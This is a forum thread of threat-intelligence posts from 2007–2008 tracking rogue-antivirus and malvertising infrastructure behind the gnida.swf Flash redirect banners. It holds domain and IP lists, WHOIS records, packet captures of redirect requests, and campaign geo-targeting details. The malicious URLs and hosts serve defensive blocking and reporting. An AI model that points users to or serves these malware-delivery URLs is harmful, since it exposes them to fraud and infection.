Spyguardpro.com
Spywaretaisakumaster.com
Stopbedreiging.com
Stopminacce.com
Storageprotector.com
Succesantivirus.com
Superanonimo.com
Surfforsure.com
Surfremover.com
Sutoppuwirusu.com
Syssauvegarde.com
Systemerrorfixer.com
Systemesansfaute.com
Systemesansvirus.com
Systemhoover.com
Systemschild.com
Tackanejvirus.com
Tilforlatelig.com
Toolsicuro.com
Topsalgantivirus.com
Trasheraser.com
Trojansfilter.com
Trusselovervagning.com
Trustedantivirus.com
Trustedprotection.com
Tryggpcverktyg.com
Trygpcbruger.com
Turnkeyantivirus.com
Unidadessanas.com
Usuarioprotegido.com
Utiledereparation.com
Utilisateursur.com
Vaktmotvirus.com
Veiligheidsagent.com
Virenvernichter.com
Virusbekaemper.com
Virusgarde.com
Viruskrakker.com
Virussperr.com
Virusurimuva.com
Virusvanger.com
Virusvijand.com
Volumformatredskap.com
Wegvonviren.com
Winanonymous.com
Winpcdoctor.com
Winsecureav.com
Winspycontrol.com
Wirusufinisshu.com
Wirusuk.com
Wirusukyua.com
Wirusushattodaun.com
Wirusushuryo.com
Yourprivacyguard.com
Yuzasefu.com
Zentaiwakuchin.com

24.244.171.69

2greatfind.com
2quickfind.com
Alg-search.com
All-search-it.com
Bestdatafinder.com
Besteversearch.com
Bi-bi-search.com
Bucksbill.com
Candid-search.com
Cha-cha-search.com
Cleanator.com
Clever-at-search.com
Deuscleaneronline.com
Deuspayment.com
Didosearch.com
Fandasearch.com
Fati-gati-search.com
Favourable-search.com
Feel-search.com
Findbyall.com
Firstbestsearch.com
Firstlastsearch.com
Fokus-search.com
Force-search.com
Fulsearch.com
Glass-search.com
Gt-search.com
Ideal-search.com
Individ-search.com
Initial-search.com
Kazilkasearch.com
Loffersearch.com
Londasearch.com
Mad-search.com
Myusefulsearch.com
Nudesweetmature.com
Ol-search.com
Original-search.com
Se7ensearch.com
Search-and-win.com
Search-angle.com
Search-deal.com
Search-expand.com
Search-into.com
Search-the-best.com
Search-the-prey.com
Search-west.com
Searchcompleteness.com
Searchmandrake.com
Searchonline-ease.com
Searchoperation.com
Searchvirtuoso.com
Simplesamplesearch.com
Such-search.com
The-same-search.com
Treekindsearch.com
Type-and-find.com
Ultimatepayment.com
Unicsearch.com
Wewillfind.com
Windfiresearch.com

193.227.121.34

Superiordatingsite.com
Surveypaiz.com

24.244.170.178

statsgod.com

Associated IP's (download centers)

content.onerateld.com - 209.8.114.5

canonical name g1.panthercdn.com
Domain Name: ONERATELD.COM
Registrar: YESNIC CO. LTD.
Name Server: NS1.ONERATELD.COM
Name Server: NS2.ONERATELD.COM
Updated Date: 07-dec-2007
Creation Date: 26-dec-2006
Expiration Date: 26-dec-2008

sec.storageguardsoft.com - 209.8.114.8

canonical name g1.panthercdn.com
Domain Name: STORAGEGUARDSOFT.COM
Registrar: YESNIC CO. LTD.
Name Server: NS9.NSCACHE.NET
Name Server: NS8.NSCACHE.NET
Updated Date: 03-dec-2007
Creation Date: 07-dec-2006
Expiration Date: 07-dec-2008

Other domains hosting gnida.swf

aheadad.com - 205.252.251.18

Server Type: Apache/1.3.37 (Unix) PHP/5.2.3
IP Location - Alaska - Ketchikan - Beyond The Network America Inc
Reverse IP: 7 other sites hosted on this server.

::Domain servers in listed order::
ns2.ah-dns.com
ns1.ah-dns.com

::Dates & Status::
Creation Date: 12-Oct-2007
Expiration Date: 12-Oct-2008
Status:ACTIVE

Websites.

Aheadad.com
Fuckmomsladyfriend.com
Gayfunworld.com
Gayteenplace.com
Hotfreebbw.com
Onlyshemale.net
Plumppornvideo.com
Windowssecurecenter.com

Kimberly

Dec 31 2007, 06:19 PM

Flash swf files hit the news again. Unfortunately this time were are not talking about redirects to fake spyware alerts but about getting redirected to a porn site with streaming video content.

An advertisement for Chanel watches hosted by ad.doubleclick and showed on The Official Site of Major League Baseball (mlb.com) is indeed redirecting people to hqtube.com.
The advert in question is ad.doubleclick.net/1674952/mlb_chanel.swf

Again you can find the culprit back by examining the HTTP refers when you enter the hqtube.com website. Furthermore hqtube.com sets a cookie containing a reference to the same ad.doubleclick swf file.

The user is also prompted to install the Chinese language pack when entering hqtube.com

Mlb.com has a page for people with slow connections. It doesn’t play the flash adverts. If you don’t want to block ads or disable Flash, use that link instead of the normal homepage. You won’t get redirected.

Narrow broadband link:
http://mlb.mlb.com/mlb/homepage/narrowband.jsp

Full story by Sandi Hardmeier.
MLB.COM users hijacked and redirected to pornographic web site, complete with graphic videos - DOUBLECLICK involved

hqtube.com - 88.85.66.116

Server Type: nginx/0.3.51
IP Location - Utrecht - Utrecht - Webazilla

Registration Service Provided By: Enom, Inc

Administrative Contact:
ICOO SOFT LTD
Vadim Fatkullin ()
+357.25341300
Fax: +357.25342030
Gladstonos 120-C2
Lemesos, 3032
CY

Status: Locked

Name Servers:
ns1.serverfield.com
ns2.serverfield.com
ns3.serverfield.com
ns4.serverfield.com

Creation date: 14 Aug 2006 14:42:05
Expiration date: 14 Aug 2008 14:42:05

Websites hosted on 88.85.66.116

Filespray.com
Hqtube.com

Kimberly

Jan 9 2008, 10:06 PM

newbieadguide.com - vozemiliogaranon.com - thetechnorati.com - akamahi.net - ?

Time to update your IP blocks, the guys moved ...

91.199.50.14 - akamahi.net
91.199.50.15 - newbieadguide.com
91.199.50.16 - thetechnorati.com
91.199.50.17 - vozemiliogaranon.com
91.199.50.18 - ?

91.199.50.14 - 91.199.50.18

QUOTE
inetnum: 91.199.50.0 - 91.199.50.255
netname: NETROUTING-01
descr: Netrouting Data Facilities
country: NL
org: ORG-NDF1-RIPE
admin-c: SBT10-RIPE
tech-c: SBT10-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-HM-PI-MNT
mnt-lower: RIPE-NCC-HM-PI-MNT
mnt-by: ECATEL-MNT
mnt-routes: ECATEL-MNT
mnt-domains: ECATEL-MNT
source: RIPE # Filtered

organisation: ORG-NDF1-RIPE
org-name: Netrouting Data Facilities
org-type: OTHER
address: Van Halewijnlaan 319
address: 2274 TK Voorburg
address: The Netherlands
phone: +31 654 620 994
abuse-mailbox:
mnt-ref: GFX-MNT
mnt-by: GFX-MNT
source: RIPE # Filtered

person: S Bout
org: ORG-NDF1-RIPE
address: Van Halewijnlaan 319
address: 2274 TK Voorburg
address: The Netherlands
phone: +31 654 620 994
nic-hdl: SBT10-RIPE
source: RIPE # Filtered

route: 91.199.50.0/24
descr: Netrouting Data Facilities
origin: AS16131
mnt-by: GFX-MNT
source: RIPE # Filtered

As always keep an eye on Sandi Hardmeier's blog too.
http://msmvps.com/blogs/spywaresucks/default.aspx

Kimberly

Jan 10 2008, 10:32 PM

And the move keeps going on !

mysurvey4u.com - 194.110.67.22

Server Type: nginx/0.4.13
IP Location - Noord-holland - Amsterdam - Netrouting Data Facilities
Domain Name : mysurvey4u.com

::Name Servers::
ns1.mysurvey4u.com
ns2.mysurvey4u.com

::Dates & Status::
Created Date 2006-12-04 09:57:28 EST
Updated Date 2007-12-03 20:06:35 EST
Valid Date 2008-12-04 09:57:28 EST
Status ACTIVE

Websites

Mysurvey4u.com
Singlemetro.com

______________________________

traveltray.com - 194.110.67.23

Server Type: nginx/0.4.13
IP Location - Noord-holland - Amsterdam - Netrouting Data Facilities

::Name Servers::
NS1.TRAVELTRAY.COM 190.15.73.251
NS2.TRAVELTRAY.COM 190.15.73.252

::Dates & Status::
Record last updated on 02-Jun-2007.
Record expires on 01-Jul-2008.
Record created on 01-Jul-2004.
Domain status: clientTransferProhibited - clientUpdateProhibited

Websites

Specificissue.com
Traveltray.com

______________________________

netmediagroup.net - 84.243.252.91

Server Type: nginx/0.4.13
IP Location - Netherlands - Gfx-cust-worldstream
Dedicated Hosting: netmediagroup.net is hosted on a dedicated server.

::Name Servers::
ns1.netmediagroup.net
ns2.netmediagroup.net

::Dates & Status::
Created Date 2006-06-29 05:38:33 EDT
Updated Date 2007-06-27 17:59:00 EDT
Valid Date 2008-06-29 05:38:33 EDT
Status ACTIVE
______________________________

traffalo.com - 84.243.252.94

Server Type: nginx/0.4.13
IP Location - Netherlands - Gfx-cust-worldstream
Dedicated Hosting: traffalo.com is hosted on a dedicated server.

::Name Servers::
NS1.TRAFFALO.COM 190.15.73.251
NS2.TRAFFALO.COM 190.15.73.252

::Dates & Status::
Record last updated on 26-Apr-2007.
Record expires on 13-Apr-2008.
Record created on 13-Apr-2007.
Domain status: clientTransferProhibited - clientUpdateProhibited
______________________________

uniqads.com - 84.243.252.97

Server Type: nginx/0.4.13
IP Location - Netherlands - Gfx-cust-worldstream
Dedicated Hosting: uniqads.com is hosted on a dedicated server.

::Name Servers::
NS2.UNIQADS.COM 190.15.73.252
NS1.UNIQADS.COM 190.15.73.251

::Dates & Status::
Record last updated on 08-Jun-2007.
Record expires on 27-Apr-2008.
Record created on 27-Apr-2007.
Domain status: ok

Blocks

inetnum: 84.243.221.0 - 84.243.221.255
netname: GFX-CUST-NETROUTING
descr: Netrouting Data Facilities
org: ORG-NDF1-RIPE
country: NL
admin-c: SBT10-RIPE
tech-c: SBT10-RIPE
status: ASSIGNED PA
mnt-by: GFX-MNT

inetnum: 194.110.67.0 - 194.110.67.255
netname: NETROUTING-01
descr: Netrouting Data Facilities
country: NL
org: ORG-NDF1-RIPE
admin-c: SBT10-RIPE
tech-c: SBT10-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-HM-PI-MNT
mnt-lower: RIPE-NCC-HM-PI-MNT
mnt-by: GFX-MNT
mnt-routes: GFX-MNT
mnt-domains: GFX-MNT

inetnum: 91.199.50.0 - 91.199.50.255
netname: NETROUTING-01
descr: Netrouting Data Facilities
country: NL
org: ORG-NDF1-RIPE
admin-c: SBT10-RIPE
tech-c: SBT10-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-HM-PI-MNT
mnt-lower: RIPE-NCC-HM-PI-MNT
mnt-by: ECATEL-MNT
mnt-routes: ECATEL-MNT
mnt-domains: ECATEL-MNT

Kimberly

Jan 12 2008, 01:32 AM

akamahi.net - newbieadguide.com - thetechnorati.com - vozemiliogaranon.com

Time to update your IP blocks (again).

64.38.4.131 - akamahi.net
64.38.4.133 - newbieadguide.com
64.38.4.134 - thetechnorati.com
64.38.62.234 - vozemiliogaranon.com

64.38.0.0 - 64.38.63.255

QUOTE
OrgName: FastServers, Inc.
OrgID: FASTS-1
Address: 175 W. Jackson Blvd
Address: Suite 1770
City: Chicago
StateProv: IL
PostalCode: 60604
Country: US

ReferralServer: rwhois://rwhois.fastservers.net:4321/

NetRange: 64.38.0.0 - 64.38.63.255
CIDR: 64.38.0.0/18
NetName: FASTSERVERS-CF
NetHandle: NET-64-38-0-0-1
Parent: NET-64-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.FASTSERVERS.NET
NameServer: NS2.FASTSERVERS.NET
Comment:
RegDate: 2005-07-12
Updated: 2006-03-22

== Additional Information From rwhois://rwhois.fastservers.net:4321/ ==

network:Class-Name:network
network:ID:64-38-62-232-29.64.38.0.0/18
network:Auth-Area:64.38.0.0/18
network:Network-Name:64-38-62-232/29
network:IP-Network:64.38.62.232/29
network:Organization;I:CID-21976.64.38.0.0/18
network:Tech-Contact;I:
network:Admin-Contact;I:
network:Updated:20080111
network:Updated-By:

network:Class-Name:network
network:ID:FASTSERVERS-CF.64.38.0.0/18
network:Auth-Area:64.38.0.0/18
network:Network-Name:CF-64.38.0.0
network:IP-Network:64.38.0.0/18
network:Organization;I:FastServers, Inc
network:Tech-Contact;I:
network:Admin-Contact;I:FASTS-ARIN
network:Created:20050913
network:Updated:20060322
network:Updated-By:

Resolve Host: server1.cpvadvertizing.com

A cpvadvertizing.com
PTR server1.cpvadvertizing.com
NS ns1.cpvadvertizing.com 85.17.4.1
NS ns2.cpvadvertizing.com 85.17.4.2

IP's using PTR to this host:

64.38.4.130
64.38.4.131
64.38.4.132
64.38.4.133
64.38.4.134
64.38.62.234

Kimberly

Jan 13 2008, 04:59 PM

Other domains hosting gnida.swf

More Netrouting Data Facilities

workhomecenter.com - 194.110.67.25

Server Type: nginx/0.4.13
IP Location - Noord-holland - Amsterdam - Netrouting Data Facilities

::Domain servers in listed order::
NS1.WORKHOMECENTER.COM 190.15.73.251
NS2.WORKHOMECENTER.COM 190.15.73.252

::Dates & Status::
Record last updated on 22-May-2007.
Record expires on 28-Feb-2008.
Record created on 28-Feb-2002.
Domain status: ok

Websites.

Theirtrade.com
Workhomecenter.com

______________________________

casinoaceking.com - 194.110.67.19

Server Type: nginx/0.4.13
IP Location - Noord-holland - Amsterdam - Netrouting Data Facilities

::Domain servers in listed order::
NS2.CASINOACEKING.COM 190.15.73.252
NS1.CASINOACEKING.COM 190.15.73.251

::Dates & Status::
Record last updated on 10-Dec-2007.
Record expires on 09-Jan-2009.
Record created on 09-Jan-2002.
Domain status: ok

Websites.

Casinoaceking.com
Regularhelp.com

______________________________

getfreecar.com - 194.110.67.22

Server Type: nginx/0.4.13
IP Location - Noord-holland - Amsterdam - Netrouting Data Facilities

::Domain servers in listed order::
NS1.GETFREECAR.COM 190.15.73.251
NS2.GETFREECAR.COM 190.15.73.252

::Dates & Status::
Record last updated on 05-Sep-2007.
Record expires on 07-Jul-2008.
Record created on 07-Jul-2003.
Domain status: ok

Websites.

Getfreecar.com
Singledaily.com

______________________________

gnida.swf is present on each of these domains.

Kimberly

Jan 19 2008, 01:30 AM

In case you are curious how these redirects work, you can watch the video below. Unless explicitly clicked, most windows are closed using ALT+F4.
Note: Flash Player is needed.

The malicious banner on DiePresse.com is still active at the time of the writeup, so block or turn off Flash if you surf over there.

Kimberly

Jan 25 2008, 05:15 PM

www.rhapsody.com

The campaign on DiePresse has been suspended but the banner is still hosted on their server. A new banner was reported recently on www.rhapsody.com. The redirect doesn't occur when you enter the site. Searching for music or artists brings up the malicious advert. The file is hosted at i.realone.com and it's again the skyauction banner as seen below.

CODE
Frame 265 (452 bytes on wire, 452 bytes captured)
Internet Protocol, Src: 192.168.x.x (192.168.x.x), Dst: newbieadguide.com (190.15.64.188)
Transmission Control Protocol, Src Port: 1980 (1980), Dst Port: http (80), Seq: 1, Ack: 1, Len: 398
Hypertext Transfer Protocol
    GET /statsa.php?u=23423424&campaign=mi1eroof HTTP/1.1\r\n
    Accept: */*\r\n
    Referer: http://i.realone.com/ads/Rollingstone/1_skyauction_728x90.swf?
clickTag=http://ad.doubleclick.net/click%3Bh=v8/3652/3/0/%2a/x%3B177176445%3B0\r\n
    x-flash-version: 9,0,47,0\r\n
    ~~~~~~~~~~~~~~~: ~~~~~ ~~~~~~~\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n
    Host: newbieadguide.com\r\n
    Connection: Keep-Alive\r\n
    \r\n

Banner: i.realone.com/ads/Rollingstone/1_skyauction_728x90.swf
Campaign: newbieadguide.com/statsa.php?u=23423424&campaign=mi1eroof

In meanwhile the bad guys kept on moving. They stayed a couple of days on Denit Internet Services in Amsterdam and now they are on the following IP's:

190.15.64.185 - akamahi.net
190.15.64.186 - ? - GET /swf/gnida.swf = ok
190.15.64.187 - ? - GET /swf/gnida.swf = ok
190.15.64.188 - newbieadguide.com
190.15.64.189 - ? - GET /swf/gnida.swf = ok
190.15.64.190 - quinquecahue.com
190.15.64.191 - thetechnorati.com
190.15.64.192 - vozemiliogaranon.com

QUOTE
% Joint Whois - whois.lacnic.net
% This server accepts single ASN, IPv4 or IPv6 queries

% Copyright LACNIC lacnic.net
% The data below is provided for information purposes
% and to assist persons in obtaining information about or
% related to AS and IP numbers registrations
% By submitting a whois query, you agree to use this data
% only for lawful purposes.
% 2008-01-25 15:11:36 (BRST -02:00)

inetnum: 190.15.64/20
status: allocated
owner: Secure Hosting Ltd.
ownerid: HN-SHLT-LACNIC
responsible: Secure Hosting Ltd.
address: Bufete Osorio, Edificio Palmira, --, 4th Floor
address: -- - Tegucigalpa - DC
country: HN
phone: +1 242 5028700 []
owner-c: RID2
tech-c: RID2
inetrev: 190.15.64/20
nserver: NS1.SECUREHOST.COM
nsstat: 20080121 AA
nslastaa: 20080121
nserver: NS2.SECUREHOST.COM
nsstat: 20080121 AA
nslastaa: 20080121
created: 20061006
changed: 20061006

nic-hdl: RID2
person: Richard Douglas
e-mail: support@SECUREHOST.COM
address: P.O. Box CB-13862, 00000,
address: CB13862 - Nassau - NP
country: BS
phone: +1 242 5028700
created: 20060127
changed: 20061006

% whois.lacnic.net accepts only direct match queries.
% Types of queries are: POCs, ownerid, CIDR blocks, IP
% and AS numbers.

Kimberly

Jan 28 2008, 11:00 PM

www.expedia.com

This weekend we got some echoes about a malicious advertising banner on www.expedia.com. The campaign is very restrictive as most of the worldwide countries & continents are excluded. While visiting www.expedia.com, one advertising banner caught my attention though; the flash file was again protected /obfuscated using SWF Encrypt 4.x as seen below.

Thanks fly out to Cretemonster for confirming & checking out the advert since my geographic location is on the ban list.

CODE
Frame 44 (387 bytes on wire, 387 bytes captured)
Internet Protocol, Src: 192.168.x.x (192.168.x.x), Dst: quinquecahue.com (190.15.64.190)
Transmission Control Protocol, Src Port: 1042 (1042), Dst Port: http (80), Seq: 1, Ack: 1, Len: 333
Hypertext Transfer Protocol
    GET /statsa.php?u=1200655836&campaign=pygmalioni HTTP/1.1\r\n
    Accept: */*\r\n
    Accept-Language: en-US\r\n
    Referer: http://media.expedia.com/ads/FXSound/728x90.swf\r\n
    x-flash-version: 9,0,115,0\r\n
    Accept-Encoding: gzip, deflate\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n
    Host: quinquecahue.com\r\n
    Connection: Keep-Alive\r\n
    \r\n

Banner: media.expedia.com/ads/FXSound/728x90.swf
Campaign: quinquecahue.com/statsa.php?u=1200655836&campaign=pygmalioni

If someone does experience those SWF hijacks / redirects on other websites, don't hesitate to PM me about it. This needs to be stopped !

Kimberly

Jan 29 2008, 05:44 AM

A search did reveal the existence of quite a few new banners / redirects over the last 48h. We all need your help because those banners target specific countries and block others. Below is a partial list of reported redirects on forums. If you know which banners are causing the redirects below or if you did experience such fake alerts, please contact me or Sandi.

When an advertising banner is found or when new campaigns pop up, I'll update this topic.

quinquecahue.com/swf/gnida.swf?campaign=tautonymus&u=1201174352

Reported at www.webzdarma.cz forums.
Allowed Country Codes - States / Cities - IP Ranges
CZ, UA
Banned Country Codes - States / Cities - IP Ranges
89.250.0.0-89.250.255.255
prague

CODE
Frame 387 (413 bytes on wire, 413 bytes captured)
Internet Protocol, Src: 192.168.x.x (192.168.x.x), Dst: quinquecahue.com (190.15.64.190)
Transmission Control Protocol, Src Port: 1190 (1190), Dst Port: http (80), Seq: 1, Ack: 1, Len: 359
Hypertext Transfer Protocol
    GET /statsa.php?u=1201174352&campaign=tautonymus HTTP/1.1\r\n
    Accept: */*\r\n
    Referer: http://i.wz.cz/bannery/firstchoice/firstchli.swf?clickthru=http://www.firstchoice.co.uk/?ref=A0991\r\n
    x-flash-version: 9,0,47,0\r\n
    ~~~~~~~~~~~~~~~: ~~~~~ ~~~~~~~\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n
    Host: quinquecahue.com\r\n
    Connection: Keep-Alive\r\n
    \r\n

Banner: i.wz.cz/bannery/firstchoice/firstchli.swf
______________________________

quinquecahue.com/swf/gnida.swf?campaign=atliverish&U=1200328388

Reported at eforum.idg.se.
Banned Country Code - States / Cities - IP Ranges
85.18.0.0-85.18.255.255
1.255.0.0-1.255.255.255
7.3.0.0-7.3.255.255
italy
california, ohio

______________________________

quinquecahue.com/swf/gnida.swf?campaign=myrakehell&u=1200937882

Reported at trojaner-board.de and forum.chip.de
Allowed Country Codes - States / Cities - IP Ranges
DE, AT, UA
Banned Country Code - City - IP
88.198.0.0-88.198.255.255
217.6.0.0-217.6.255.255
dortmund, radibor, berlin

Banner was reported to be present at onlinetvrecorder.com in the downloads section (which needs membership). According to the forum moderator the banner has been removed...
______________________________

quinquecahue.com/swf/gnida.swf?campaign=teachingor&u=1200504042

Reported at www.index.hr
Banned Country Code - States / Cities - IP Ranges
70.84.0.0-70.84.255.255
70.85.0.0-70.85.255.255
209.85.0.0-209.85.255.255
in, il
texas, california, newyork
dallas, mountainview, newyork

______________________________

quinquecahue.com/swf/gnida.swf?campaign=ifsequitur&u=1200654870

Reported at www.bridicum.com (CSIS Security Group).
Banned Country Codes - States / Cities - IP Ranges
195.47.0.0-195.47.255.255
84.16.255.255
copenhagen

______________________________

traveltray.com/swf/gnida.swf?campaign=upmorpheus&u=1201009699

Reported at forum.zeusnews.com - forum.ingegneri.info.
Banned Country Codes - States / Cities - IP Ranges
217.12.0.0-217.12.255.255 (Yahoo Europe)
216.109.0.0-216.109.255.255 (us.rd.yahoo.com - 216.109.118.82)
66.94.0.0-66.94.25.255 (f3.yahoofs.com - 66.94.226.22)
UK
california
milano, milan, london, dublin, barcelona

In different countries (France, Italy ...) people complain about SWF redirects in their mailbox. If you are a victim of this, please contact us.
______________________________

03/02/2008

mysurvey4u.com/swf/gnida.swf?campaign=me9ntthe&u=1201951156171

Reported at forums.myspace.com/p/3747055/37526266.aspx?fuseaction=forums.viewpost
www.myspace.com IP :
216.178.39.14
216.178.38.130
216.178.39.16
216.178.39.15
216.178.39.74
216.178.39.12
216.178.39.11
216.178.39.13
216.178.38.131
216.178.38.129

______________________________

quinquecahue.com/swf/gnida.swf?campaign=atticismus&u=1201712577

Reported at www.hispamp3.com/foros

______________________________

quinquecahue.com/statsg.php?u=1200592645&campaign=ofquixotic

Reported at www.gaiaonline.com/forum/questions-assistance/ad-banner-infected-with-gnida-swf-trojan/t.37232985/
The IP address of gaiaonline.com is 72.5.72.7, so 72.5.0.0-72.5.255.255 will be in the banned list.

______________________________

Kimberly

Feb 6 2008, 06:08 PM

IP Resume

190.15.64.185 - akamahi.net
190.15.64.186 - ? - GET /swf/gnida.swf = ok
190.15.64.187 - ? - GET /swf/gnida.swf = ok
190.15.64.188 - newbieadguide.com
190.15.64.189 - ? - GET /swf/gnida.swf = ok
190.15.64.190 - quinquecahue.com
190.15.64.191 - thetechnorati.com
190.15.64.192 - vozemiliogaranon.com

190.15.73.254 - blessedads.com
______________________________

194.110.67.22 - mysurvey4u.com
194.110.67.25 - workhomecenter.com
194.110.67.19 - casinoaceking.com
194.110.67.22 - getfreecar.com
______________________________

84.243.252.94 - traffalo.com
______________________________

Changed.

content.onerateld.com - sec.storageguardsoft.com

66.244.254.11
66.244.254.201
66.244.254.239
85.17.4.101

QUOTE
Network Whois record
Queried whois.arin.net with "66.244.254.11"...

OrgName: Big Pipe Inc.
OrgID: BGPP
Address: Suite 400
Address: 630 - 3rd Ave. SW
City: Calgary
StateProv: AB
PostalCode: T2P-4L4
Country: CA

ReferralServer: rwhois://204.209.209.80:4321

NetRange: 66.244.192.0 - 66.244.255.255
CIDR: 66.244.192.0/18
NetName: BIGPIPE-2
NetHandle: NET-66-244-192-0-1
Parent: NET-66-0-0-0-0
NetType: Direct Allocation
NameServer: DNS1.BIGPIPEINC.COM
NameServer: DNS2.BIGPIPEINC.COM
Comment: ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE
RegDate: 2002-03-14
Updated: 2002-05-21

RTechHandle: ZB106-ARIN
RTechName: Big Pipe Inc
RTechPhone: +1-403-750-7428
RTechEmail: ipadmin_bigpipe@bigpipeinc.com

OrgAbuseHandle: BPA15-ARIN
OrgAbuseName: Shaw Business Solutions - Abuse
OrgAbusePhone: +1-866-244-7474
OrgAbuseEmail: abuse@shawbusinesssolutions.ca

OrgTechHandle: ZI94-ARIN
OrgTechName: Shaw Business Solutions
OrgTechPhone: +1-403-750-7428
OrgTechEmail: ipadmin@shawbusinesssolutions.ca

# ARIN WHOIS database, last updated 2008-02-03 19:03
# Enter ? for additional hints on searching ARIN's WHOIS database.

QUOTE
Network Whois record
Queried whois.ripe.net with "-B 85.17.4.101"...

% This is the RIPE Whois query server #1.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/db/copyright.html

% Information related to '85.17.4.0 - 85.17.4.255'

inetnum: 85.17.4.0 - 85.17.4.255
netname: LEASEWEB
descr: LeaseWeb
descr: P.O. Box 93054
descr: 1090BB AMSTERDAM
descr: Netherlands
descr: www.leaseweb.com
remarks: Please send email to "abuse@leaseweb.com" for complaints
remarks: regarding portscans, DoS attacks and spam.
remarks: INFRA-AW
country: NL
admin-c: LSW1-RIPE
tech-c: LSW1-RIPE
status: ASSIGNED PA
mnt-by: OCOM-MNT
changed: ripe@ocom.com 20050320
changed: ripe@ocom.com 20060608
source: RIPE

person: RIP Mean
address: P.O. Box 93054
address: 1090BB AMSTERDAM
address: Netherlands
phone: +31 20 3162880
fax-no: +31 20 3162890
abuse-mailbox: abuse@leaseweb.com
e-mail: ripe@ocom.com
nic-hdl: LSW1-RIPE
notify: ripe@ocom.com
mnt-by: OCOM-MNT
changed: ripe@ocom.com 20050607
changed: ripe@ocom.com 20060215
changed: ripe@ocom.com 20060608
source: RIPE

% Information related to '85.17.0.0/16AS16265'

route: 85.17.0.0/16
descr: LEASEWEB
origin: AS16265
remarks: LeaseWeb
mnt-by: OCOM-MNT
changed: ripe@ocom.com 20050311
changed: ripe@ocom.com 20070610
source: RIPE

______________________________

Failed to resolve hostname.

adtraff.com
burnads.com
netmediagroup.net
uniqads.com
traveltray.com
aheadad.com
______________________________

Update 9 Feb. 2008

They are up again, except aheadad.com

adtraff.com - 84.243.252.84
burnads.com - 84.243.252.85
netmediagroup.net - 84.243.252.91
uniqads.com - 84.243.252.97

traveltray - 194.110.67.23

Kimberly

Feb 24 2008, 04:47 PM

190.15.64.187 - ? - GET /swf/gnida.swf = ok

Finally got a name for that IP.

entrerrenglonadura.com - 190.15.64.187

IP Location - Francisco Morazan - Tegucigalpa - Secure Hosting Ltd
Created: 2007-11-23
Expires: 2008-11-23
Name Server: NS1.ENTRERRENGLONADURA.COM
Name Server: NS2.ENTRERRENGLONADURA.COM

Error Message
There was an error processing your request.

Domain Name : entrerrenglonadura.com

::Registrant::
Name : Entrerrenglonadura
Email : mail(at)entrerrenglonadura.com
Address : Pix str 12 Jordan
Zipcode : 1252
Nation : EC
Tel : 4858455
Fax :

::Administrative Contact::
Name : Entrerrenglonadura
Email : mail(at)entrerrenglonadura.com
Address : Pix str 12 Jordan
Zipcode : 1252
Nation : EC
Tel : 4858455
Fax :

::Technical Contact::
Name : Entrerrenglonadura
Email : mail(at)entrerrenglonadura.com
Address : Pix str 12 Jordan
Zipcode : 1252
Nation : EC
Tel : 4858455
Fax :

::Name Servers::
ns1.entrerrenglonadura.com
ns2.entrerrenglonadura.com
ns3.entrerrenglonadura.com
ns4.entrerrenglonadura.com

::Dates & Status::
Created Date 2007-11-23 05:03:25 EST
Updated Date 2007-11-23 05:03:25 EST
Valid Date 2008-11-23 05:03:25 EST
Status ACTIVE

human500.com - 71.18.200.75

Another domain came out of the box while doing some research today.

human500.com/bin/tremor/statsg.php

Not the usual folder but let's take a peek at the statsg.php file anyway. Interesting stuff ... we do find our gnida.swf back. So that's another one to blacklist.

CODE

Website Title: Human500 Project
ICANN Registrar: GODADDY.COM, INC.
Name Server: NS5.IXWEBHOSTING.COM
Name Server: NS6.IXWEBHOSTING.COM
Whois Server: whois.godaddy.com

Server Type: Apache
IP Location - Kentucky - Hopkinsville - Ecommerce Corporation
Created: 2006-08-29
Expires: 2008-08-29
Registrar Status: clientDeleteProhibited
Registrar Status: clientRenewProhibited
Registrar Status: clientTransferProhibited
Registrar Status: clientUpdateProhibited

Whois Record
Registrant:
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States

Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: HUMAN500.COM
Created on: 29-Aug-06
Expires on: 30-Aug-08
Last Updated on: 04-Sep-06

Administrative Contact:
Private, Registration
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599 Fax -- (480) 624-2599

Technical Contact:
Private, Registration
Domains by Proxy, Inc.
DomainsByProxy.com
15111 N. Hayden Rd., Ste 160, PMB 353
Scottsdale, Arizona 85260
United States
(480) 624-2599 Fax -- (480) 624-2599

Domain servers in listed order:
NS5.IXWEBHOSTING.COM
NS6.IXWEBHOSTING.COM

Related domains and mailservers

Extra reading

Inside Rogue Flash Ads, by Dennis Elser and Micha Pekrul, Secure Computing Corporation.

Kimberly

Mar 6 2008, 07:24 PM

Every day new banners and / or websites show up, we all need your help.

iexplorer-security.org - 84.252.148.219

Server Type: gws
IP Location - Russian Federation - Mc Host.ru
Created: 2008-01-12
Expires: 2010-01-12
Whois Server: whois.pir.org
Dedicated Hosting: iexplorer-security.org is hosted on a dedicated server.

Domain ID:D150624483-LROR
Domain Name:IEXPLORER-SECURITY.ORG
Created On:12-Jan-2008 14:16:26 UTC
Last Updated On:15-Jan-2008 10:31:03 UTC
Expiration Date:12-Jan-2010 14:16:26 UTC
Sponsoring Registrar:EstDomains, Inc. (R1345-LROR)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:

Name Server:MANAGEDNS1.ESTBOXES.COM
Name Server:MANAGEDNS2.ESTBOXES.COM
